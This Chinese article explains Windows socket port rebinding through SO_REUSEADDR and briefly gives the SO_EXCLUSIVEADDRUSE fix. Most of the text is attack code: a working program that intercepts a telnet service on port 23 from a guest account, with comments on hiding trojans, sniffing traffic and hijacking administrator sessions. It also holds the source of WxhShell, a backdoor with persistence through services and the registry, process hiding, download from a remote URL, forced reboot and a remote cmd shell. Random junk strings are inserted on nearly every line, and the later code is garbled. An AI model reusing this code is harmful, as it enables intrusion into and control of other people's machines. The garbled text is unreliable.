在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$xT9e s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@@j:z;^| Q^;:Kl.b saddr.sin_family = AF_INET;
ua"2nVxK_K s+~GQcj<T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cZJ5L>ox LSo*JO6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tLi91)oG ^,0Lr$+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lb$_$+@Vr eTFep^[ 这意味着什么?意味着可以进行如下的攻击:
pdB\D I_5/e>9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
N>Ih2>8t W]oa7VAq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
76bMy4re hxzA1s%~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l$1NI#& m.p$f$A_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C6EGM/m8 C{,^4Eh3r 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P1AC2<H XUzOt_L5< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p^|6 /b wZZ~!"O& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N8pV[\f .XqeO@z #include
HMC-^4\%[ #include
=n5n #include
_Dd>e=v #include
5F+G8 DWORD WINAPI ClientThread(LPVOID lpParam);
T60pw int main()
jz`3xFy *] {
y=c={Qz@vn WORD wVersionRequested;
gyMHC{l/B DWORD ret;
iGSA$U P| WSADATA wsaData;
]=VRct
" BOOL val;
lP*n%Pn) SOCKADDR_IN saddr;
e'>q( B SOCKADDR_IN scaddr;
:_y!p int err;
N2k<W?wQ SOCKET s;
Q?;Tc.O"/ SOCKET sc;
6_<~]W& int caddsize;
;@T0wd_i| HANDLE mt;
#D/*<:q5 DWORD tid;
R)BXN~dQ wVersionRequested = MAKEWORD( 2, 2 );
e@qH!.g) err = WSAStartup( wVersionRequested, &wsaData );
]/kpEx if ( err != 0 ) {
T\n6^@.> printf("error!WSAStartup failed!\n");
E_En"r)y return -1;
S
:8 }
Pw| h`[h saddr.sin_family = AF_INET;
nj0sh"~+
_XT'h;m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$,2T~1tE PcEE`. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4xEw2F saddr.sin_port = htons(23);
mE`qA*=? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SOq:!Qt {
W^H3 =hZ printf("error!socket failed!\n");
9sT5l"?g return -1;
$:%E<j4Dn }
);%H;X+x val = TRUE;
_crhBp5@T3 //SO_REUSEADDR选项就是可以实现端口重绑定的
ka!v(j{E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A$r$g\5+ {
qxb]UV,R printf("error!setsockopt failed!\n");
oWL_Hh%-f` return -1;
DrKB;6 }
H)i|?3Ip //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"5Y6.$Cuf! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iX6>u4~( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Vn4wk>b}$2 =V]0G,,\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7dcR@v`c {
*s*Y uY%y ret=GetLastError();
?9a%g\`?: printf("error!bind failed!\n");
>iae2W` return -1;
g&c ~grD }
8k95IJR1 listen(s,2);
5gtf`ebs/ while(1)
e~'lWJD {
<|4$TH^t caddsize = sizeof(scaddr);
>P:X\5Oj //接受连接请求
hK{H7Ey* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_0v+'&bz if(sc!=INVALID_SOCKET)
sde>LZet/ {
}VZExqm) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V-}}?c1 F if(mt==NULL)
<M@-|K"Eb {
ey=KA t printf("Thread Creat Failed!\n");
N"G aQ break;
!*}UP|8 }
/3,Lp-kp }
[K.1 X=O} CloseHandle(mt);
Q}|K29Y:p }
3y6\0|{1 closesocket(s);
Q0Ft.b WSACleanup();
X)[tb]U/Wx return 0;
}a||@unr }
|g)C `k DWORD WINAPI ClientThread(LPVOID lpParam)
d(o=)!p {
A}SGw.3 SOCKET ss = (SOCKET)lpParam;
PQkw)D<n]_ SOCKET sc;
ve
ysW(z unsigned char buf[4096];
\jtA8o%n SOCKADDR_IN saddr;
Os@b8V 8,A long num;
Fs( PVN DWORD val;
Y@0'0 DWORD ret;
SOhM6/ID2/ //如果是隐藏端口应用的话,可以在此处加一些判断
^
*"f C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^iMr't\b saddr.sin_family = AF_INET;
:rUMmO - saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L"|Bm{Run saddr.sin_port = htons(23);
)pH+ibR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tO8\} u4c {
*z?Uh$I4 printf("error!socket failed!\n");
={)85N return -1;
o,`"*][wd }
z~pp7 val = 100;
Zk%@GOu\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x/umwT,o v {
Bz/Vzc( ret = GetLastError();
yx5e return -1;
SlG v }
E7fQ9] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t1adS:)s {
e4tIO ret = GetLastError();
LigB!M return -1;
fz=?QEG }
{siOa%;* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,r~+
9i0N {
>#|%'Us printf("error!socket connect failed!\n");
eo0-aHs closesocket(sc);
qh~bX
i! closesocket(ss);
T+v*@#iJ_ return -1;
js<d"m* }
@gD)pH while(1)
LpU}. {
Q v9q~l //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=0=#M(w //如果是嗅探内容的话,可以再此处进行内容分析和记录
q@ -B+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sllT1%? num = recv(ss,buf,4096,0);
WR)=VE if(num>0)
^)Hf% send(sc,buf,num,0);
Plp.\N%f3 else if(num==0)
R@\}iyM break;
*8Z2zmZtR^ num = recv(sc,buf,4096,0);
XP@dg4Z=z if(num>0)
,Z@#( =f send(ss,buf,num,0);
( 2HM"Pd else if(num==0)
4k;FZo]S break;
f8]sjeY }
pbzFzLal closesocket(ss);
u#@/^h; closesocket(sc);
W%!(kN&d return 0 ;
}=^ ,c }
r%PWv0z_c Jj-\Eb? 5?k5J\+ ==========================================================
6{y7e L3! zuvPV{
X 下边附上一个代码,,WXhSHELL
t1FtYXv`/ e xb}
y ==========================================================
86r"hy~ LTWkHyx #include "stdafx.h"
V)^Xz8H_ ,MCTb '=G #include <stdio.h>
+`HMl;0m #include <string.h>
#d-({blo< #include <windows.h>
1>J.kQR^ #include <winsock2.h>
H#TkIFo] #include <winsvc.h>
+`
Md5.w #include <urlmon.h>
~Ru\Z-q1 7ftn
gBv? #pragma comment (lib, "Ws2_32.lib")
QH/py #pragma comment (lib, "urlmon.lib")
TpKAdrY uY&1[(Pb #define MAX_USER 100 // 最大客户端连接数
=?RI`}vw_H #define BUF_SOCK 200 // sock buffer
=_dM@ j #define KEY_BUFF 255 // 输入 buffer
"I.6/9 h6h6B.\Ld #define REBOOT 0 // 重启
Ei4^__g\' #define SHUTDOWN 1 // 关机
<7^|@L
6 %Rk|B`ST #define DEF_PORT 5000 // 监听端口
u&:N`f =l`)b #define REG_LEN 16 // 注册表键长度
NI V}hf YF #define SVC_LEN 80 // NT服务名长度
#fuUAbU0X z#tIa // 从dll定义API
iq; |
i! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
75# 8P?i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
g&$=Y7G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6@N,'a8r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8Qg10Yjy ]cp b;UfM // wxhshell配置信息
Z=JKBoAY struct WSCFG {
1sqE/-v1_^ int ws_port; // 监听端口
5)#j }`6 char ws_passstr[REG_LEN]; // 口令
%B%_[<B int ws_autoins; // 安装标记, 1=yes 0=no
#A/OGi char ws_regname[REG_LEN]; // 注册表键名
OyTK,i<n char ws_svcname[REG_LEN]; // 服务名
-r\jIO_ char ws_svcdisp[SVC_LEN]; // 服务显示名
>yO/p(/;jR char ws_svcdesc[SVC_LEN]; // 服务描述信息
vzIo2,/7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<]rayUyaf int ws_downexe; // 下载执行标记, 1=yes 0=no
l/N<'T_G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ZJ/528Ju char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J>Ar(p LDt6<D8,Q };
A,~3oQV B7%,D} // default Wxhshell configuration
FuHBzBoM= struct WSCFG wscfg={DEF_PORT,
\*$^}8 "xuhuanlingzhe",
>]h{[kU %4 1,
51k}LH "Wxhshell",
d0aXA+S% "Wxhshell",
%SmOP sz "WxhShell Service",
Cj0r2^` "Wrsky Windows CmdShell Service",
fd)8lK[KJ" "Please Input Your Password: ",
S2$E`'
J 1,
qezWfR` "
http://www.wrsky.com/wxhshell.exe",
cIU2 qFn[ "Wxhshell.exe"
`d_T3^ayu };
J6Ilg@}\
'LYDJ~ // 消息定义模块
2/?Zp=|j\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C[^VM$ char *msg_ws_prompt="\n\r? for help\n\r#>";
lJK]S=cd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tia}&9; char *msg_ws_ext="\n\rExit.";
,P~e)<. char *msg_ws_end="\n\rQuit.";
J}V4.R5d char *msg_ws_boot="\n\rReboot...";
aq?bI:>8 char *msg_ws_poff="\n\rShutdown...";
scV%p&{a char *msg_ws_down="\n\rSave to ";
?@"@9na xQFRM aQE char *msg_ws_err="\n\rErr!";
5 {! fa char *msg_ws_ok="\n\rOK!";
iJTG+gx
4E''pW]8 char ExeFile[MAX_PATH];
L=<xTbY int nUser = 0;
Vl5r~+$| HANDLE handles[MAX_USER];
Igo`\JY int OsIsNt;
5U?O1}P qYoW8e SERVICE_STATUS serviceStatus;
c~T{; SERVICE_STATUS_HANDLE hServiceStatusHandle;
:w^:Z$-hf Q7+WV`& // 函数声明
KMhrw s{&B int Install(void);
7ZUN;mr int Uninstall(void);
0F$|`v"0 int DownloadFile(char *sURL, SOCKET wsh);
| R,dsBd int Boot(int flag);
RZz?_1' void HideProc(void);
Il=6t int GetOsVer(void);
2"6L\8hd2 int Wxhshell(SOCKET wsl);
>{^_]phlb void TalkWithClient(void *cs);
!.R-|<2|6 int CmdShell(SOCKET sock);
neEqw+#Z int StartFromService(void);
#]Vw$X_S int StartWxhshell(LPSTR lpCmdLine);
X_PzK'#m DwBe_h . VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
OS[
s Qo5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
?qQ{]_q1&. f}c;s // 数据结构和表定义
?O25k!7 SERVICE_TABLE_ENTRY DispatchTable[] =
i@/% E~ W {
*JOK8[Qn {wscfg.ws_svcname, NTServiceMain},
JQ+Mg&&Q {NULL, NULL}
48p3m)5
};
KDN#CU V
FM[- // 自我安装
?c.\\2>|F int Install(void)
HVM%B{( {
#hBqgG:> char svExeFile[MAX_PATH];
#c|l|Xvq2 HKEY key;
LNL}R[1( strcpy(svExeFile,ExeFile);
ir^d7CV, 'bfxQ76@sa // 如果是win9x系统,修改注册表设为自启动
m0G"Aj if(!OsIsNt) {
5zS%F: 3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M.g2y &8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>Iij,J5i RegCloseKey(key);
2?,lr2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dwn|1%D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8i6iynR RegCloseKey(key);
c<1$zQY! return 0;
u/tJ])~@ }
o9sQ!gptw }
GVT 6cR }
!MSa - else {
9No6\{[M
n[/D>Pi // 如果是NT以上系统,安装为系统服务
Yte*$cJ= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
88u[s@ if (schSCManager!=0)
thPAD+u.3 {
%Vo'\| SC_HANDLE schService = CreateService
9ERdjS (
5T/+pC$e= schSCManager,
XzAXcxC6G wscfg.ws_svcname,
3\2&?VAjR wscfg.ws_svcdisp,
>(:3H+ SERVICE_ALL_ACCESS,
55v=Ij?M SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TrDTay SERVICE_AUTO_START,
J#d,? SERVICE_ERROR_NORMAL,
.UxkTads svExeFile,
H8HH) ^ NULL,
T3b0"o27 NULL,
}5E H67 NULL,
9Zx| L/\ NULL,
A7QT4h&6 NULL
F]OWqUV );
K`=U5vG^ if (schService!=0)
xgOt%7sb {
K81FKV. CloseServiceHandle(schService);
~&/Nl_# CloseServiceHandle(schSCManager);
s\'t=}0q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-/8V2dv3 strcat(svExeFile,wscfg.ws_svcname);
K*~xy bA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8\il~IFyi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:MDFTw~ | RegCloseKey(key);
d/NjY[` 5+ return 0;
^C,rN;mX' }
FUI/ A> }
Q8TR@0d CloseServiceHandle(schSCManager);
ruhC:rg:/ }
Fkv284,LM }
D[T\_3W L{sFR^-G return 1;
HmXxM:[4; }
Njo.-k L `2{H%J` // 自我卸载
uToi4]w"y int Uninstall(void)
aV fsF|, {
9Eh*r@> HKEY key;
25G~rklk VU\G49 if(!OsIsNt) {
B4OFhtYE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}T%E;m- RegDeleteValue(key,wscfg.ws_regname);
1%@i4 RegCloseKey(key);
_576Qa'rm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h6Vd<sV\tf RegDeleteValue(key,wscfg.ws_regname);
a;i}<n7 RegCloseKey(key);
tm;\m!^X{ return 0;
pJ?y }
V\Lh(zPt }
7WV"Wrl] }
;{m;CKHI else {
sVO|Ghy65 +MS*YpPW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
e{:
-N if (schSCManager!=0)
|r*y63\T {
~HctXe' x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ow0~sFz if (schService!=0)
T+V:vuK {
5=s|uuw/ if(DeleteService(schService)!=0) {
Lxa<zy~b CloseServiceHandle(schService);
0l(G7Ju CloseServiceHandle(schSCManager);
n`Ypv{+ {% return 0;
T5[(vTp }
Ornm3%p+e CloseServiceHandle(schService);
lz).=N}m }
P@etT8| V CloseServiceHandle(schSCManager);
V2Z^W^ }
+5ql`C }
X/!Y mV! X?8bb! g%Q return 1;
(!ud"A|ab4 }
&WbHM)_n UuJ gB) // 从指定url下载文件
q!d7Ms{q int DownloadFile(char *sURL, SOCKET wsh)
Lz-(1~o {
17rg!'+ HRESULT hr;
5Shc$Awc! char seps[]= "/";
(i)O@Jve char *token;
neWx-O char *file;
o>M&C
X+j$ char myURL[MAX_PATH];
`?N|{kb char myFILE[MAX_PATH];
P\X$fD %F*h}i strcpy(myURL,sURL);
&>@EfW]( token=strtok(myURL,seps);
m]++
! while(token!=NULL)
M4XU*piz {
Xt*h2& file=token;
V=GP_^F token=strtok(NULL,seps);
)=h+5Z>E1 }
g*U[?I"sC (Sj?BZjC GetCurrentDirectory(MAX_PATH,myFILE);
4m9]d) strcat(myFILE, "\\");
ds+0y;vc strcat(myFILE, file);
=sXk,I; send(wsh,myFILE,strlen(myFILE),0);
e=6C0fr send(wsh,"...",3,0);
#w[Ie+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^@maF<Jb if(hr==S_OK)
G{s
q|1 return 0;
_'r&'s;<z else
O~bzTn return 1;
v3/G.B@= H+5N+AKb@ }
~EhM"go "CQ:<$|$ // 系统电源模块
3}?]G8iL?L int Boot(int flag)
ue6&)7:~ {
*Q3q(rdrp HANDLE hToken;
^paM{'J\\) TOKEN_PRIVILEGES tkp;
tw]Q5:6 ^X?3e1om if(OsIsNt) {
c(S66lp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Pu]Pp`SP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oGZ%w4T tkp.PrivilegeCount = 1;
SxRa?5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p?sC</R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ytGcigw(P if(flag==REBOOT) {
uHO>FM, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=qTmFszT return 0;
@X>Oj . }
M,9f}V) else {
>BlF<
d`X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h-:te9p6>4 return 0;
$>PV6 }
K@@[N17/8 }
p# (5
; else {
4] I7t if(flag==REBOOT) {
%:]ive]e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]EPFyVt~3 return 0;
nx'D&,VX }
-]~vEfq+T else {
uY|-: = if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=ET |h}I return 0;
PzDekyl }
!@kwHJkv }
(\NZ)Ys OAZ5I)D> return 1;
<MBpV^Y} }
-eoXaP{[ a{7'qmN1 // win9x进程隐藏模块
V17SJSC- void HideProc(void)
$4&e{fLt|v {
Vu_QwWXO ;sn]Blpq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5QUL-*t if ( hKernel != NULL )
7gcJ.,Z. {
T4x%dg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=L&}&pT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CQm(N FreeLibrary(hKernel);
wLz@u$u? }
&C=[D_h ^8eu+E.{ return;
[kyIF\0 }
RwptFO j LG
Q^v" // 获取操作系统版本
a$ FO5%o int GetOsVer(void)
K_sHZ {
"xKykSk OSVERSIONINFO winfo;
y d4\%%] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z<9wh2*M GetVersionEx(&winfo);
bs=x>F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
v46 5Z return 1;
[GqQ6\ else
hMvLx>q3) return 0;
KN-)m ta& }
wz=c#}0dB $@(+"
$ // 客户端句柄模块
7$u}uv`j int Wxhshell(SOCKET wsl)
%d#h<e|,. {
-kz9KGkPb+ SOCKET wsh;
U}2b{ struct sockaddr_in client;
&;]KntxB DWORD myID;
R-V4Ju[: I8:A] while(nUser<MAX_USER)
yvp$s {
U sS"WflB int nSize=sizeof(client);
~y.t amNW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>Kjl>bq if(wsh==INVALID_SOCKET) return 1;
#.^A5`k $(8CU$gi= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I=G-(L/& if(handles[nUser]==0)
"MNI_C#{ closesocket(wsh);
<@z!kl else
HXp$\%A) nUser++;
txp^3dZ`^ }
&3_.k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qlgo#[i -\V!f6Q return 0;
,`O.0e4pn }
QpZCU] dF<GuS;l5 // 关闭 socket
$)6%LG_@ void CloseIt(SOCKET wsh)
Hlj_oDL {
lOuO~`,J closesocket(wsh);
waI:w, nUser--;
+<1MY'>y ExitThread(0);
zt|DHVy }
g ONybz6] 6z keWR // 客户端请求句柄
|`,AAa void TalkWithClient(void *cs)
-.=:@H}r {
E6zSMl5b }lP'bu SOCKET wsh=(SOCKET)cs;
he\ pW5p char pwd[SVC_LEN];
LX2Re
]& char cmd[KEY_BUFF];
dFVx*{6 char chr[1];
&;wNJ)Uc int i,j;
Zt LZW/` K*[`s'Ip- while (nUser < MAX_USER) {
FZ~^cK9g: P ")1_! if(wscfg.ws_passstr) {
}@H(z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"F+m}GJ=a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q^!x8oUF //ZeroMemory(pwd,KEY_BUFF);
[;RO= i=0;
{GP#/5$= while(i<SVC_LEN) {
Qf#=Y j '`nf7b( // 设置超时
0Mu6R=s fd_set FdRead;
,\Uc/wR struct timeval TimeOut;
ziTE*rNJ FD_ZERO(&FdRead);
[.j&~\AG FD_SET(wsh,&FdRead);
)j/b`V6 TimeOut.tv_sec=8;
DO{Lj#@ TimeOut.tv_usec=0;
>Xv
Fg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:.bBV]6q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tR`^c8gD F9PXQD( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.:/[%q{k pwd
=chr[0]; %-J}m
if(chr[0]==0xd || chr[0]==0xa) { G~nQR
qv
pwd=0; !<#,M9
EA&
break; .TpM3b#r
} /=IBK`
i++; &~{0@/
} I:Q3r"1
cfhiZ~."T
// 如果是非法用户,关闭 socket V3v/hV:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8qF OO3c\V
} @h)Z8so
'?)<e^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :F`-<x/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c>.=;'2
`m+o^!SGe
while(1) { P?/Mrz
#L`'<ge'g*
ZeroMemory(cmd,KEY_BUFF); P5Is#7udN8
m4~>n(
// 自动支持客户端 telnet标准 u #Y#,:{
j=0; dk>qTY+j5
while(j<KEY_BUFF) { `*-rz<G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mGP&NOR0^y
cmd[j]=chr[0]; %D6HY^]ayw
if(chr[0]==0xa || chr[0]==0xd) { Bh
,GQHJ
cmd[j]=0; X-k$6}D
break; Mp,aQ0bNS
} %k i^XB86
j++; !si}m~K!_
} Q.i_?a
Tx:S{n7&
// 下载文件 ]gjB%R[.m
if(strstr(cmd,"http://")) { EAZLo;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z%$tV3a?
if(DownloadFile(cmd,wsh)) 7;r Jr&.)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]+z:!
else "rU
2g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZWXA%u7V
} V_"UiN"o
else { !Y^3% B%
&MJcLM]
switch(cmd[0]) { nXM[#~
Q|7l!YTzVu
// 帮助 < VrHWJo
case '?': { J>N^ FR9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &3CC |
break; 6BH
P#B2j
} 7&w$@zs87
// 安装 /5N`Euw
case 'i': { p,K!'\
if(Install()) JDP /vNq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (,^jgv|I
else T0v{qQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mTgsvC
break; [Ufx=BPx3
} }UX0 eI4
// 卸载 kO/]mNLG
case 'r': { u{8:VX
if(Uninstall()) Bv{DZ?{s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.(~`ici~
else ;Q\MH t*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Ij'z9nJw
break; AR3v,eOs
} 9^g?/8
// 显示 wxhshell 所在路径 I4(z'C
case 'p': { EZJ[+ -Q;
char svExeFile[MAX_PATH]; O)%s_/UX
strcpy(svExeFile,"\n\r"); >SHP,><H/
strcat(svExeFile,ExeFile); X[J?
send(wsh,svExeFile,strlen(svExeFile),0); vM?jm!nd
break; "1z#6vw5a
} [ XBVES8
// 重启 Lhmb=
@
case 'b': { h[>Puoz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nA#N ,^Rr
if(Boot(REBOOT)) }s@vN8C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A;Av0@w
else { #u/5
nm
closesocket(wsh); s`I]>e
ExitThread(0); Btyp=wfN[
} R
"qt}4m
break; H6Q!~o\"H
} K+3+?oYKH
// 关机 }e]tn)
case 'd': { WPDi)UX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;D|g5$OE&
if(Boot(SHUTDOWN)) EYSBC",
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :CGh$d] +
else { Ci$?Hm9 n
closesocket(wsh); bsv!z\}
ExitThread(0); a/TeBx#yG
} 8iUYZF
break; ,w%hD*
} t~M0_TnXlP
// 获取shell W*~[KdgC
case 's': { o2R&s@%0@B
CmdShell(wsh); q!y!=hI
closesocket(wsh); Nin7AOO
ExitThread(0); Kr%w"$<
break; J936o3F_
} tJII-\3"
// 退出 J0FJ@@
case 'x': { L XHDX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :!L>_ f
CloseIt(wsh); 7bY N
break; l?O%yf`s
} )7 M
// 离开 tQ,3nI!|xF
case 'q': { gt\*9P
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a[ yyEgm2
closesocket(wsh); y`a]##1j$M
WSACleanup(); mGh8/Xt
exit(1); V6kJoSyde
break; I78Q8W(5
}
*]*0uo
} <2t%<<%
} \pVNJy$`<
f0 "_ {\
// 提示信息 K;*B$2Z#k
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
[7Liken
} go?}M]c%7
} \[L|
"L+NN|
return; J[al4e^
} ,qwVDYJ
kE854Ej
// shell模块句柄 6vf<lmN
int CmdShell(SOCKET sock) P~h0Ul
{ "Bl6)qw
STARTUPINFO si; =3|5=ZU034
ZeroMemory(&si,sizeof(si)); hH_\C.bL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K'oy6$B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nG~^-c+
PROCESS_INFORMATION ProcessInfo; ^_t7{z%sA[
char cmdline[]="cmd"; jIjW +D`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +[7 DRT:
return 0; K>_~|ZN1C8
} TJUYd9O4[
PQXCT|iJ
// 自身启动模式 U*\1d
int StartFromService(void) Zp+orc7
{ Cuc+9
typedef struct }BAe
{ #D^(dz*
DWORD ExitStatus; VJS1{n=;k
DWORD PebBaseAddress; wRu\9H}
DWORD AffinityMask; rO]2we/B,4
